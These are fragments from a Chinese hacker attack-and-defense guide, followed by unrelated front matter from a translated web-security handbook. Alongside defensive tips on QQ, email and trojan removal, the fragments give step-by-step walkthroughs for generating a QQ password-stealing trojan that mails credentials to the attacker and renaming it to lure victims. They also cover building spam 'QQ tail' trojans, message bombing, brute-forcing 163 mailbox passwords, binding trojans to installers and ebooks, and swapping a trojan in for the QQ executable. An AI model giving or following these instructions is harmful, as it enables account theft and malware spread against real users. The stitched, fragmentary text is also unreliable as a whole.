    {"text": "02 在弹出的“本地组策略编辑器”窗口中依次展开“用户配置\\管理模板\\Windows组件\\Internet Explorer”目录，在右侧窗口中双击“禁止更改主页设置”策略项。 03 在弹出的“禁用更改主页设置属性”对话框中选择“已启用”单选项，在“主页”文本框中输入默认主页（本例设为www.baidu.com），然后单击“确定”按钮保存设置即可。"},
    {"text": "巧妙登录QQ：登录QQ时可以在号码前加很多的0登录，这样可以躲过qqdreams等在线破解软件对QQ号的探测。 登录QQ时不保存密码：腾讯QQ登录时提供了“记住密码”功能，如果在公共场所登录时使用了该项功能，这很可能会被他人利用，进而盗取QQ密码。 删除QQ号码记录文件：通常情况下，使用QQ后，系统都会将其操作记录在“C:\\Users\\Administrator\\Documents\\Tencent Files”目录下，此项很容易被黑客使用软件破解，获取有用信息，所以，在下线后，应将这个文件删除。 删除特定文件：在QQ所在的文件夹下，删除子文件夹中的OICQ2000.cfg文件，这样下次启动QQ将只能使用“注册向导登录”，这将使“隐身穿墙术”失效。 隐藏个人IP：在使用QQ代理，不轻易和对方进行“二人世界”聊天以隐藏自己的真实IP，避免在线破解。 例2 使用阿拉QQ密码潜伏者 阿拉QQ密码潜伏者是一款功能强大而又操作简单的QQ盗号软件，使用它可以制作一个木马程序，将木马程序捆绑到极具诱惑的软件上，然后将捆绑木马的软件上传的网上或直接发送给其他人，只要他人双击该软件，木马即可自动启动，就可以劫取对方的QQ账号和密码，并将劫取的信息发送到个人邮箱中，使用阿拉QQ密码潜伏者盗取QQ号码和密码的具体操作方法如下。"},
    {"text": "01 进入个人邮箱（这里以QQ邮箱为例进行介绍），单击邮箱首页的“设置”链接。 02 在打开的页面中切换到“反垃圾”选项卡，然后在“白名单”栏单击“设置邮件地址白名单”链接。 03 在打开页面中输入“test1@test.com”地址，然后单击“添加到白名单”按钮。 04 启动阿拉QQ密码潜伏者程序，在“收信邮箱地址”文本框中输入前面设置的QQ邮箱地址，然后单击“测试邮箱”按钮。"},
    {"text": "06 返回“阿拉QQ密码潜伏者”软件操作界面，单击“生成木马”按钮。 程序会生成一个木马文件，在打开的对话框中可看到木马文件的存储地址。 07 打开木马文件储存目录即可看到木马文件，用户可根据需要将其重命名、更换图标等，然后将其发送给网络其他用户，一旦他人启动这个木马程序，软件就会将账号信息发送到指定的邮箱中。 例3 使用QQ尾巴生成器 QQ尾巴是一种攻击QQ软件的木马程序，中毒之后，QQ会无故向好友发送垃圾消息或木马网址，当好友点击进入这些木马网站后，便可能遭到黑客的攻击。 QQ尾巴的制作非常简单，目前很多黑客软件都提供了制作QQ尾巴的功能，这里以“战争贩子QQ尾巴生成器2010”为例，介绍QQ尾巴的制作方法，具体操作步骤如下。 01 下载并解压“战争贩子QQ尾巴生成器2010”软件，启动其主程序，在“在这里填写QQ尾巴内容”文本框中设置尾巴的内容，然后单击左下角的广告。 02 单击“生成尾巴”按钮，然后程序会自动生成一个QQ尾巴文件，默认为“muma.exe”。 03 打开软件所在的文件夹即可看到生成的QQ尾巴文件“muma.exe”，该文件在他人电脑中启动时即可产生前面设置的QQ尾巴了。"},
    {"text": "例4 QQ强制聊天 在网上，很多人为了避免骚扰，都会将QQ设置为验证后才能加好友或者是拒绝添加好友，如果你很想和某个QQ聊天，却无法添加好友，就可以使用QQ强制聊天的方法。 强制与目标QQ聊天的方法很简单，先登录QQ，再在浏览器地址栏中输入“http://wpa.qq.com/msgrd？ V=1＆Uin=20222xxx5（你要强制聊天的QQ号）＆Site=＆Menu=yes”，然后按下回车键，此时就会建立一个临时对话框，就可以与对方进行聊天了。"},
    {"text": "01 下载并打开“萝卜QQ轰炸机”，用户可以在打开的窗口中输入要重复的文字信息，单击“添加内容”按钮，就把这句话添加到“轰炸内容”文本框中了。"},
    {"text": "02 选择轰炸目标，本例选择“轰炸好友”单选项，并输入轰炸的次数和频率，单击“抓句柄”按钮，在弹出对话框中拖动放大镜“ ”设置句柄。 03 在返回的对话框中单击“设置OK”按钮，然后单击开始轰炸即可。"},
    {"text": "01 在QQ页面单击左下角的“主菜单”按钮，在弹出的菜单中依次单击“系统设置”→“安全设置”命令。 02 在弹出的“系统设置”对话框中单击“消息记录”选项，在右侧勾选“启用消息记录加密”复选框，然后单击“确定”按钮即可。 例7 设置代理隐藏本地IP地址 在登录QQ的时候，如果直接使用默认设置登录，黑客可以通过查询本地IP地址，进而对电脑进行攻击。 对于一些办公场所或个人信息非常重要的人来说，为了避免这种情况的发生，可以设置代理隐藏本地IP地址。"},
    {"text": "例8 文件接收安全设置 利用QQ接收文件时，如果文件中包含病毒或木马程序，可能会导致电脑受到严重的危害，因此，有必要对文件的接收进行安全设置，具体操步骤如下。 01 在QQ窗口中单击左下角的“主菜单”按钮，在弹出的菜单中依次单击“系统设置\\安全和隐私”命令。 02 在弹出的“系统设置”对话框中，勾选“安全”页面中的“安全级-中”单选项，然后单击“确定”按钮完成设置。 例9 如何避免键盘记录器记录QQ密码 在腾讯QQ的登录界面提供了软键盘输入功能，我们在实际登录时，可以使用鼠标先单击登录界面中的键盘按钮，然后在打开的软键盘中使用鼠标输入密码信息。 小提示 在输入密码时，故意输错两次，也可以增加黑客通过查看键盘记录破解QQ密码的难度。 例10 通过密码保护找回被盗的QQ号码 在忘记QQ密码或密码被盗后，可以使用密码保护找回被盗的QQ。"},
    {"text": "01 登录QQ安全中心（网站地址：http://aq.qq.com/cn/fndpsw/fndpsw_index），切换到“找回密码”选项卡，根据提示填写需要找回的QQ账号信息，然后单击“下一步”按钮。"},
    {"text": "02 在打开的页面中选择密保方式，本例单击“验证密保找回密码”按钮。 03 在弹出的“找回密码”对话框中输入设置的问题答案，然后单击“确定”按钮。 04 在打开的页面中根据需要重新设置QQ密码即可。 小提示 对于细心的用户来说，在QQ密码被盗后可通过自己的密保资料找回号码。 而对于忘记密保信息的用户，如果记得自己的账号注册信息或QQ好友，可以通过申诉的方式来找回密码。"},
    {"text": "7.5 E-mail攻防 随着E-mail（电子邮箱）的广泛应用，黑客们的注意力也转移到了电子邮箱上，他们通过各种手段来达到自己的目的，本节将介绍E-mail攻防的相关知识。 例1 常见电子邮箱攻击手段 黑客攻击电子邮箱的手段很多，最常见的就是使用邮件炸弹和破解电子邮箱的账号密码。 1．邮件炸弹 邮件炸弹攻击是各种攻击中最常见的攻击手段，它造成危害的原理是这样的：由于接收邮件信息需要系统来处理，而且邮件的保存也需要一定的空间。 所以，因邮件炸弹而导致的巨量邮件会大大加剧网络连接负担、消耗大量的存储空间，甚至溢出文件系统，这将会给Unix、Windows等许多操作系统形成威胁。 除了操作系统有崩溃的危险之外，由于大量垃圾邮件集中涌来，将会占用大量的处理器时间与带宽，造成正常用户的访问速度急剧下降。 而对于个人的免费邮箱来说，由于其邮箱容量是有限制的，邮件容量一旦超过限定容量（即邮箱被“撑爆”），系统就会拒绝服务。"},
    {"text": "2．盗取邮箱密码 盗取邮箱账号和密码也是黑客常用的攻击手段，他们通过盗取他人邮箱，并使用这些邮箱发送诈骗信息。 盗取邮箱密码最常见的方法就是在远程主机上安装键盘记录工具，这些工具能够记录机主一天键入的字符，当然这个字符量可能很大，也可能很小，依主人使用情况而定，键入的字符会形成文本文件，而且密码会和其他的字符有很大不同，所以，黑客可以轻而易举的从这个文件中判断哪一段是密码。"},
    {"text": "例2 使用流光盗取邮箱密码 在前面的学习中介绍过流光扫描器，这里主要介绍使用流光扫描器探测账号和密码的方法。 1．探测邮箱账号和密码 使用流光扫描器可以对邮箱账号和密码进行探测，具体操作步骤如下。"},
    {"text": "01 下载并安装流光软件，启动其主程序，在其主界面勾选并右键单击“POP3”选项，然后在弹出的菜单中依次单击“编辑”→“添加”菜单命令。 02 在打开的对话框中设置POP 3主机，本例输入“POP3.163.com”，对163邮箱进行探测，然后单击“确定”按钮，可将该主机添加到流光程序中。"},
    {"text": "在流光软件的安装目录中找到要进行编辑的扩展名为“.dic”的用户列表文件，然后单击鼠标右键，在打开的菜单中单击“使用记事本打开”命令。"},
    {"text": "01 启动流光软件，在主界面中按照前面介绍的方法添加一个POP3主机，如“pop3.163.com”，右键单击该主机，在弹出的菜单中依次单击“编辑”→“添加”菜单命令。"},
    {"text": "03 对于一些简单的邮箱密码，可以使用流光软件提供的解码字典进行破解，在流光软件界面中右键单击“解码字典或方案”选项，然后在弹出的菜单中依次单击“编辑”→“添加”菜单命令。"},
    {"text": "07 流光软件开始破解指定邮箱账号的密码，此过程根据密码复杂程度的不同所需时间也不尽相同，用户需耐心等待，破解完成后会弹出对话框显示破解结果。"},
    {"text": "例3 禁止IE记录登录信息 在默认情况下，在浏览器中登录账号（例如论坛账号、邮箱账号以及网页游戏账号等）时，会弹出对话框询问是否保存密码，设置保存后，可以在下一次登录时不必再次输入，但是这也给他人盗取自己的账号带来了方便。"},
    {"text": "02 在打开的对话框中切换到“内容”选项卡，在“自动完成”下方单击“设置”按钮。 03 在打开的对话框中取消所有自动完成的选项，然后单击“删除自动完成历史记录”按钮。 04 在打开的对话框中勾选需要删除的自动完成的记录，然后单击“删除”按钮，系统会自动完成记录的删除，然后单击“确定”按钮，保存设置即可。"},
    {"text": "例4 过滤垃圾邮件 经常使用电子邮件的用户，都可能会遇到垃圾邮件困扰。 我们可以通过电子邮箱提供的功能来有效过滤垃圾邮件，这里以网易163邮箱为例进行介绍。"},
    {"text": "例5 设置邮箱密码保护 为了更安全放心的使用邮箱，我们可以通过设置邮箱密码保护来达到目的，下面以新浪邮箱为例进行介绍。 01 登录邮箱，在邮箱首页单击“邮箱设置”链接。"},
    {"text": "03 在“账户资料”栏中单击对应的链接进行不同形式的密码保护措施，本例单击“设置安全”邮箱链接。 04 在打开的页面中输入当前邮箱账户密码然后单击“提交”按钮继续操作。 小提示 设置安全邮箱就是将该邮箱与另外一个邮箱绑定，这样，在忘记密码时就可以使用绑定的邮箱来找回密码。 05 在接着打开的页面中输入安全邮箱账号，然后单击“提交”按钮继续操作。 06 设置成功后会在打开的页面中提示安全邮箱已经生效，这时单击“关闭”按钮关闭窗口即可。 例6 找回邮箱密码 当用户的邮箱密码忘记或丢失后，可以使用绑定的安全邮件进行找回，具体操作步骤如下。 01 在新浪邮箱登录界面单击“找回密码”链接。 02 在打开的界面中输入需要找回的邮箱账号，然后输入对应的验证码并单击“提交”按钮。 03 在接着打开的页面中选择找回邮箱密码的方式，本例单击“安全邮箱”链接。 04 在打开的页面中输入安全邮箱的账户信息，然后输入验证码并单击“提交”按钮。 05 在打开的页面中会提示系统已经向安全邮箱发送密码找回信息，这里单击“关闭本页”按钮，关闭当前窗口。 06 登录前面设置的安全邮箱，打开密码找回信息的邮件，根据提示单击对应的链接。 07 在接着打开的页面中根据提示重新设置邮箱的密码，然后单击“提交”按钮。 08 密码重置完成后会在打开的页面中提示修改成功，此时单击“关闭本页”按钮，关闭窗口即可。"},
    {"text": "这里介绍下木马的常用入侵手段和伪装手段。 从而帮助读者了解如何预防木马入侵。 例1 了解木马常用的入侵手段 木马能不能完全发挥它的功能和作用，关键一步就是能否成功地进入到目标主机。 木马的入侵手段多种多样。 下面我们就来了解一下木马都有哪些入侵手段。 利用系统漏洞传播：指木马程序通过系统漏洞进驻电脑系统，从而对用户个人信息及财产安全造成威胁。 如微软著名的IIS服务器溢出漏洞，通过一个IISHACK攻击程序即可把IIS服务器崩溃，并且同时在受控服务器执行木马程序。"},
    {"text": "网页传播：利用Java Applet编写出一个HTML网页，当我们浏览该页面时，JavaApplet会在后台将木马程序下载到计算机缓存中，然后修改注册表，运行木马程序。"},
    {"text": "利用蠕虫病毒传播木马：这种方法是指将木马和蠕虫病毒结合起来，利用蠕虫病毒的传染性和自我复制能力进行传播。 远程传播：黑客通过破解密码和建立IPC$远程连接后登陆到目标主机，将木马服务端程序拷贝到目标主机的系统文件夹中，然后通过远程操作让木马程序在某一个时间运行。"},
    {"text": "例2 木马是如何伪装的 为了便于隐藏和入侵，木马程序的编写者常常会通过一些特殊手段来对木马进行伪装。 下面介绍一些常见的木马伪装手段。"},
    {"text": "木马更名：为了增强木马的欺骗性，木马的编写者通常会给木马取一个极具迷惑性的名称或者允许控制端用户自由设定安装后的木马文件名，例如，将木马的名称改为和系统文件名相似的名称，这就使得用户很难判断所感染的木马类型。 修改图标：木马经常故意伪装成用户计算机上常用图标的形式，等待用户因为疏忽而将其认为是应用程序图标而双击启动。 捆绑文件：该手段是将木马捆绑到一个安装程序中，当用户双击启动安装程序时，木马就会随之启动，并运行于计算机系统之中。 扩展名欺骗：这是黑客惯用的一种手法，其主要是将木马伪装成图片、文本、Word文档等文件，这一点和木马更名的性质类似。"},
    {"text": "例3 了解木马的启动方式 木马之所以能够在神不知鬼不觉的情况下运行，除了借助狡猾的伪装手段外，其启动方式更是悄无声息。 下面介绍木马常用的几种启动方式。 通过注册表启动：是最常用的木马启动方式。 通过将木马程序添加到系统启动项中，使其跟随系统启动。"},
    {"text": "寄生于特定程序：木马编写者将木马和正常程序捆绑，正常程序在运行时，木马程序先获得控制权或另开一个线程以监视用户操作、截取密码等。"},
    {"text": "将QQ程序文件QQ2013.exe改为QQ2013.ico.exe（系统默认不显示扩展名，因此它会显示为QQ2013.ico，伪装为QQ图标），然后再将木马程序改为QQ2013.exe，这样当用户运行QQ时，实际是启动了QQ木马，再由QQ木马去启动真正的QQ，从而获取QQ账号与密码。"},
    {"text": "让系统始终显示文件的扩展名，一些扩展名为vbs、shs、pif的文件多为木马的特征文件，如果看到这些可疑的文件扩展名时就应该引起注意。 很多木马都是通过系统漏洞来进行攻击的，及时发现这些漏洞并在第一时间内安装补丁，可以有效地防范木马。 在电脑中安装木马查杀工具，并经常对软件进行升级。 上网时，开启杀毒软件的上网安全保护功能，保护上网安全。 不要浏览不良网站，这类网站上通常带有木马程序。 很多木马通过捆绑在其他软件中来实现传播的，一旦运行了这个软件就会被感染。"},
    {"text": "例5 电脑中木马后的常见症状 事实上，木马属于一种特殊的病毒程序，它会影响到系统的正常运行，所以当电脑中木马后，一般都会有一些异常表现。"},
    {"text": "聊天工具异常登录提醒：在登录QQ、MSN等聊天工具时，会显示上一次的登录地点。 如果发现登录地点异常，可能是QQ账户信息泄露造成的。 网络游戏登录不正常：登录网络游戏时发现装备丢失或同上一次下线的位置不一样，甚至使用正确的账号和密码无法登录，如果用户没有向他人透露相关信息，则很可能是计算机中存在木马程序。"},
    {"text": "例6 设置注册表权限防木马启动 很大一部分木马都是通过修改注册表启动项来实现其开机运行的。 所以，通过限制在注册表启动项添加新键值，可以有效地防止木马启动。"},
    {"text": "01 打开注册表编辑器。 依次展开到如下注册表子键：［HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run］。 02 分别右键单击这两个“Run”项，在弹出的快捷菜单中选择“权限”命令，打开“Run的权限”对话框。"},
    {"text": "例7 禁止硬盘AutoRun功能预防木马运行 有些木马程序利用硬盘AutoRun功能来启动自己，例如，这类木马隐藏的C盘，当用户双击C盘时，这类木马就会利用硬盘AutoRun功能来自动启动自己，所以防范这类木马的方法就是禁止硬盘AutoRun功能。"},
    {"text": "如果把后缀名为.scr文件更名为后缀名为.exe文件，则该程序仍然可以正常启动。 同理，把后缀名为.exe文件更名为后缀名为.scr文件后，文件也照样可以运行。"},
    {"text": "例9 防范反弹端口型木马 反弹端口型木马是利用用户开放的端口来进行传播的，其一般是从80端口开始（HTTP端口，大多数人都不会关闭这个端口的），然后开始寻找其他端口一旦找到端口存在就是自动打开端口。"},
    {"text": "在一般情况下“=”后面是空白的，如果有后跟程序，比如是：run=c:\\windows\\hgz.exe或load=c:\\windo ws\\hgz.exe，那么hgz.exe这个文件就是木马。"},
    {"text": "例10 使用杀毒软件对U盘进行查杀 U盘是病毒、木马等入侵电脑的途径之一，用户可以在使用U盘前对其进行查杀，以确保电脑的安全。 使用金山毒霸查杀U盘的具体操作步骤如下。 01 将U盘链接到电脑上，启动金山毒霸程序，在打开的界面中单击“自定义扫描”按钮。 02 在打开的对话框中选择U盘盘符，然后单击“确定”按钮，软件会自动完成对指定目标的病毒查杀。"},
    {"text": "大多数杀毒软件都提供了实时防护功能，只要开启该项功能，就可以在病毒发作时自动清除或提示用户。 这里以金山毒霸软件为例，介绍实时防护功能的开启方法。"},
    {"text": "01 启动金山毒霸软件，在打开的软件主界面中，单击功能列表中的“铠甲防御”按钮。 02 进入“铠甲防御”界面，切换到“防御开关”选项卡，在其中会显示软件提供的所有防护功能，根据需求开启指定的实时防护功能，建议全部开启。"},
    {"text": "8.2 防御与清除木马 通过前面的学习，我们已经对木马的特征、种类、入侵电脑的方式等有了一定的认识，并且可以根据它的特点来对其进行预防，但是要使木马不对我们造成侵害，只进行预防还远远不够，还需掌握其清除方法。 本节将为大家介绍几种常见的木马及其清除方法。 例1 使用Windows木马清道夫清除木马 “Windows木马清道夫”是一款专门查杀木马的专业反木马信息安全软件，是全新一代的木马克星，它具有可自动查杀近10万种木马的功能，如果配合手动分析可接近100％的对未知木马进行查杀。"},
    {"text": "下面以扫描C盘为例，介绍使用木马清道夫查杀木马的方法，具体操作如下。 01 启动木马清道夫程序，在弹出的操作界面单击“扫描硬盘”按钮。"},
    {"text": "04 单击“扫描”按钮，待木马扫描完成后，如果扫描出木马程序，它们会排列在“文件名”列表框中，此时单击“隔离/清除”按钮即可。 例2 使用金山卫士查杀木马 如果电脑中了木马，个人隐私及帐户密码等可能会被窃取。 此时可以使用第三方木马查杀软件来进行查杀，下面以金山卫士为例进行介绍。 01 下载并安装金山卫士的最新版本。 启动金山卫士软件，然后在主界面中单击“查杀木马”按钮。"},
    {"text": "04 金山卫士开始对指定对象进行木马扫描，此过程由程序自动完成，用户需耐心等待。 05 扫描结束后会显示扫描结果，如果扫描到木马，单击右下角的“立即清除”按钮。 06 开始清除木马程序，清除完成后，在弹出的对话框中会显示查杀结果，单击“确定”按钮即可。 例3 使用360安全卫士查杀流行木马 黑客常常使用木马盗取用户的各种账户及密码，如QQ、网络游戏、邮箱等，用户需要经常对电脑进行木马查杀，确保电脑中没有木马。 01 启动360安全卫士，在“常用”主页面中切换到“查杀木马”选项卡。"},
    {"text": "小提示 “快速扫描木马”表示扫描系统内存，启动对象关键位置，速度较快； “全盘扫描木马”表示扫描系统内存，启动对象及全部磁盘，速度较慢；"},
    {"text": "例4 使用木马克星查杀木马 木马克星（Iparmor）是一款专杀木马病毒的工具软件，该软件可以查杀近万种国际木马和上千种密码偷窃木马，包括传奇密码偷窃木马、QQ类寄生木马和冰河类文件关联木马等。 木马克星支持内存扫描、硬盘扫描，能够自动分析可疑系统进程，就连木马服务器在本机中截获的密码通过邮件发送出去，都需要木马克星的确认。 此外，木马克星能够自动升级木马库，对于新木马类型或未知木马，具有超强的查杀能力。 启动木马克星程序后，它会自动扫描IE插件，如果发现木马程序，会弹出对话框提示是否清除，如果用户要对电脑中的其他部分进行查杀，如内存、硬盘等可以切换到相应的选项卡，然后单击“扫描”按钮进行查杀。 使用木马克星查杀电脑中的木马的方法如下。 01 下载并安装“木马克星”软件，启动其程序，在弹出的“木马克星”工作窗口中单击“扫描硬盘”选项卡。 02 在打开的“扫描硬盘”选项卡中勾选“清除木马”复选框，单击 按钮，在弹出的浏览文件夹对话框中选择C盘下的“Program Files”文件夹，单击“确定”按钮，然后在返回的“木马克星”窗口中单击“扫描”按钮。 03 木马克星会自动对选定目标进行木马的查杀，其扫描及清除记录会显示在“木马克星”窗口中，木马查杀完成后单击 按钮，退出程序即可。 例5 使用360安全卫士清除恶意插件 很多木马会以恶意插件的形式捆绑在其他软件上，当用户进行安装时，就可能运行该插件。"},
    {"text": "01 启动Spy Sweeper软件，在打开的软件主界面口中单击“Options”选项按钮，打开“Options”选项界面。 02 在“Sweep”选项卡下选择扫描方式，本例选择“Custom Sweep”（自定义扫描）选项，在下方单击“Change Settings”链接。 03 在弹出的“Custom Sweep”对话框中设置要扫描的范围，可以是驱动器或文件夹。 04 在左侧窗格中单击“What to Sweep”按钮，在右侧窗格中勾选要扫描的对象，然后单击“OK”按钮。 05 返回软件主界面，单击右下角的“Sweep now”按钮，程序开始对指定对象进行扫描，需耐心等待。"},
    {"text": "例7 修改被更改的文件关联程序 当电脑中了木马后，很可能导致文件关联被修改，例如，TXT文件通常是由记事本（Notepad.exe）来打开，当感染目录后，则会被修改为用木马程序打开，因此只要你一打开文本文件，就会自动启动木马。"},
    {"text": "01 使用管理员身份登录操作系统，在系统桌面左下角单击“开始”按钮，弹出“开始”菜单，在搜索框中输入“regedit”命令并按“Enter”键，打开“注册表编辑器”窗口。 02 在左侧窗格中依次展开“HKEY_CLASSES_ROOT\\txtfile\\shell\\open\\command”子键，在右侧窗格中将“默认”键值项的值改为“％SystemRoot％\\system32\\notepad.exe％1”，按“Enter”键，然后重新启动电脑即可。 木马不仅仅只会修改TXT文件的关联，有时还可能修改HTM、EXE、ZIP以及COM等文件的关联，因此要对付这类木马，应该检查HKEY_CLASSES_ROOT\\文件类型\\shell\\open\\command主键，查看其键值是否正常。"},
    {"text": "exe文件：正确的检查位置为“HKEY_CLASSES_ROOT\\exefle\\shell\\open\\command”，正确的键值为“\"％1\"％*”。 inf文件：正确的检查位置为“HKEY_CLASSES_ROOT\\inffile\\shell\\open\\command”，正确的键值为“％SystemRoot％\\system32\\notepad.exe％1”。 ini文件：正确的检查位置为“HKEY_CLASSES_ROOT\\inifile\\shell\\open\\command”，正确的键值为“％SystemRoot％\\system32\\notepad.exe％1”。"},
    {"text": "02 打开记事本，粘贴一下，然后保存为EXE文件。 03 选中第三个“MZ”至文件末尾之间的内容（即第三个文件），同样复制，打开记事本后粘贴一下，然后保存为EXE文件。"},
    {"text": "接下来要通过检查两个文件的图标及大小来判断哪个文件是所需的正常程序，找出需要的原文件之后，将被木马绑定的原文件和木马文件彻底删除。 小提示 一般情况下，原程序文件与捆绑后的图标一致，且程序大小比木马程序大。"},
    {"text": "例9 清除网游盗号木马 从2007年开始，网游盗号木马开始泛滥，并且和其他木马“联合作战”，不仅盗取用户的游戏账号，更直接威胁到个人财产的安全。"},
    {"text": "2008年，魔兽世界全国总冠军账号被盗一案，将盗号木马的威胁推向高峰。 现在，网游盗号木马已经成为对网民危害最严重的木马之一，占据了木马总数的76％，超过38％的网民曾有过被盗号的经历。"},
    {"text": "为让广大用户避免受到网游盗号木马的困扰，下面主要为大家介绍有关网游盗号木马的知识及其清除方法。 1．认识网游盗号木马 网游盗号木马主要是通过恶意网页或其他木马下载进行传播。"},
    {"text": "trojan-downloader.win32.small.ewc［exe］ Trojan-PSW.Win32.OnLineGames.uo［dll］ trojan.psw.win32.onlineGames.dli［exe］ downloader-BDG trojan.dl.win32..delf.yts［dll］ win32.troj.XiyouT.vn.87552［exe］ win32.troj.DownloaderT.ew.14897［dll］ 网游盗号木马入侵电脑后，会修改注册表，实现其开机自动运行的目的。 此外，一旦网游盗号木马被激活，它还会利用释放病毒文件“jhapri.dll”到系统目录“％system％\\jhapri.dll”中、使用批处理删除源文件、修改注册表，禁止自动更新以及关闭Windows防火墙等手段来保护自身的正常运行。 2．清除网游盗号木马 网游盗号木马有许多变种，有些变种连杀毒软件也无法查杀，这时如果不想格式化磁盘，就只有手动清除它了。 清除网游盗号木马的方法主要分为以下几个步骤。"},
    {"text": "在电脑中找到木马文件“％system％\\jhapri.dll”，将其重命名，然后重新启动电脑。 02 删除木马及相关文件。 打开“计算机”窗口，找到并删除重命名过的木马文件“％syste m％\\jhapri.dll”以及与其相关的文件“％system％\\jhatmp.dll”、“％system％\\jhaini.dll”。"},
    {"text": "在注册表编辑器窗口中展开“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\explorer\\ShellExecuteHook”子键，在右侧窗格中删除“252D2432-37A2-324F-2A54-21BF5CF2F1A2”键值项。"},
    {"text": "04 修改AppInil_DLLs键值项的值。 在“注册表编辑器”窗口中依次展开“HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\WindowsNT\\CurrentVersion\\Windows”子键，在右侧将“AppInil_DLLs”键值项的值清空，单击“确定”按钮，重启电脑即可。"},
    {"text": "8.3 木马的制作 制作木马是实现木马攻击最主要的操作，这直接关系到能否成功获取远程主机信息或直接控制远程主机。 本节将介绍软件捆绑木马、chm电子书木马、自解压木马和网页木马等几款常见木马的制作。 例1 制作软件捆绑木马 捆绑木马的软件很多，例如EXE捆绑机、bindexe、文件捆绑机等，这里主要介绍使用EXE捆绑机软件（适用于Windows XP/2003）进行木马捆绑的方法，具体操作如下。"},
    {"text": "06 在打开的对话框中找到并选中要捆绑的木马程序，本例为暗组QQ木马，然后单击“打开”按钮。 07 在返回的对话框中可看到添加的木马程序，确认后单击“下一步”按钮。"},
    {"text": "08 在打开的对话框中提示指定保存路径，这里单击“点击这里指定保存路径”按钮。 09 在打开的对话框中设置文件的保存信息，然后单击“保存”按钮。 10 在返回的对话框中确认文件的保存路径，然后单击“下一步”按钮。"},
    {"text": "11 在接着打开的界面中选择软件的捆绑木马的版本，这里选择普通版，然后单击“下一步”按钮。 12 在接着打开的界面中单击“点击这里开始捆绑文件”按钮，开始将木马捆绑到指定文件上。 13 软件会自动进行木马的捆绑，需耐心等待，捆绑结束后会弹出提示框提示捆绑文件成功，这里单击“确定”按钮。 14 捆绑完成后会在指定文件位置生成一个和原文件非常相似的图标，如果是在远程主机上操作，可将生成的图标显示在系统桌面上，以便目标机主直接运行。"},
    {"text": "例2 制作chm电子书木马 Chm电子书木马隐藏在电子书中，这种木马隐蔽性非常好，进而实用性也很高。 在制作电子书木马前需要下载Quick CHM软件（适用与Windows XP、Windows 2003操作系统）、chm电子书以及一个木马文件，当准备好这些工具后即可进行电子书木马的制作了，具体操作步骤如下。"},
    {"text": "02 在打开的对话框中可以发现其默认的页面的“健康文集.chm::/癌细胞~1.htm”（这表示“健康文集”目录中的“癌细胞.htm”文件.），记录这一信息，然后单击“确定”按钮。"},
    {"text": "05 在打开的对话框中设置文件的保存信息，需要注意的是这里应该把文件类型设置为“所有类型”，将文件名称设置为“XX（自定义设置）.html”，然后单击“保存”按钮，将文件保存为网页。"},
    {"text": "07 在接着打开的“反编译”对话框中单击“输入”文本框右侧的“打开”按钮。 08 在打开的“打开”对话框中选中要进行反编译的chm电子书，然后单击“打开”按钮。"},
    {"text": "12 在反编译后的文件中选中扩展名为“.hhp”的文件，单击鼠标右键，在弹出的菜单中依次单击“打开方式”→“记事本”命令。 13 打开记事本文档，这里需要做的是在“main”栏内添加前面制作的网页文件“编码.html”，在FILES栏内添加网页文件和木马文件（编码.html和“暗组QQ木马.exe”）。"},
    {"text": "Cover 黑客攻防技术宝典：Web实战篇（第2版） 黑客攻防技术宝典：Web实战篇（第2版） 图书在版编目 （C I P） 数据 黑客攻防技术宝典：第2版．Web实战篇 / （英）斯图塔德（Stuttard, D.），（英）平托（Pinto, M.）著；石华耀，傅志红译. — 北京：人民邮电出版社，2012．6 （图灵程序设计丛书） 书名原文：The Web Application Hacker's Handbook:Finding and Exploiting Security Flaws Second Edition ISBN 978-7-115-28392-4 Ⅰ．①黑… Ⅱ．①斯… ②平… ③石… ④傅… Ⅲ．①计算机网络—安全技术 Ⅳ．①TP393.08 中国版本图书馆CIP数据核字（2012）第113416号 图灵程序设计丛书 黑客攻防技术宝典：Web实战篇（第2版） ◆ 著 [英] Dafydd Stuttard Marcus Pinto 译 石华耀 傅志红 责任编辑 毛倩倩 执行编辑 刘美英 ◆ 人民邮电出版社出版发行 北京市崇文区夕照寺街14号 邮编 100061 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京 印刷 ◆ 开本：800 × 1000 1/16 印张：40.5 字数：957千字 2012年6月第1版 印数：1 - 5 000册 2012年6月北京第1次印刷 著作权合同登记号 图字：01-2012-2174号 ISBN 978-7-115-28392-4 定价：99.00元 读者服务热线：（010）51095186转604 印装质量热线：（010）67129223 反盗版热线：（010）67171154 黑客攻防技术宝典：Web实战篇（第2版） 内 容 提 要 本书是探索和研究Web应用程序安全漏洞的实践指南。作者利用大量的实际案例和示例代码，详细介绍了各类Web应用程序的弱点，并深入阐述了如何针对Web应用程序进行具体的渗透测试。本书从介绍当前Web应用程序安全概况开始，重点讨论渗透测试时使用的详细步骤和技巧，最后总结书中涵盖的主题。每章后还附有习题，便于读者巩固所学内容。 第2版新增了Web应用程序安全领域近年来的发展变化新情况，并以尝试访问的链接形式提供了几百个互动式“漏洞实验室”，便于读者迅速掌握各种攻防知识与技能。 本书适合各层次计算机安全人士和Web开发与管理领域的技术人员阅读。 黑客攻防技术宝典：Web实战篇（第2版） 版 权 声 明 Original edition, entitled The Web Application Hacker's Handbook: Finding and Exploiting Security Flaws Second Edition, by Dafydd Stuttard and Marcus Pinto, ISBN 978-1-118-02647-2, published by John Wiley & Sons, Inc. Copyright © 2011 by Dafydd Stuttard and Marcus Pinto, All rights reserved. This translation published under License. Simplified Chinese translation edition published by POSTS & TELECOM PRESS Copyright © 2012. Copies of this book sold without a Wiley sticker on the cover are unauthorized and illegal. 本书简体中文版由John Wiley & Sons, Inc.授权人民邮电出版社独家出版。 本书封底贴有John Wiley & Sons, Inc.激光防伪标签，无标签者不得销售。 版权所有，侵权必究。 黑客攻防技术宝典：Web实战篇（第2版） 致 谢 名 单 执行编辑 Carol Long 高级项目编辑 Adaobi Obi Tulton 技术编辑 Josh Pauli 制作编辑 Kathleen Wisor 文字编辑 Gayle Johnson 编辑经理 Mary Beth Wakefield 自由作家编辑经理 Rosemarie Graham 营销副总监 David Mayhew 营销经理 Ashley Zurcher 业务经理 Amy Knies 生产经理 Tim Tate 副总裁兼执行集团出版商 Richard Swadley 副总裁兼执行出版商 Neil Edde 合作出版商 Jim Minatel 项目协调员（封面） Katie Crocker 校对 Sarah Kaikini, Word One Sheilah Ledwidge, Word One 索引编写者 Robert Swanson 封面设计 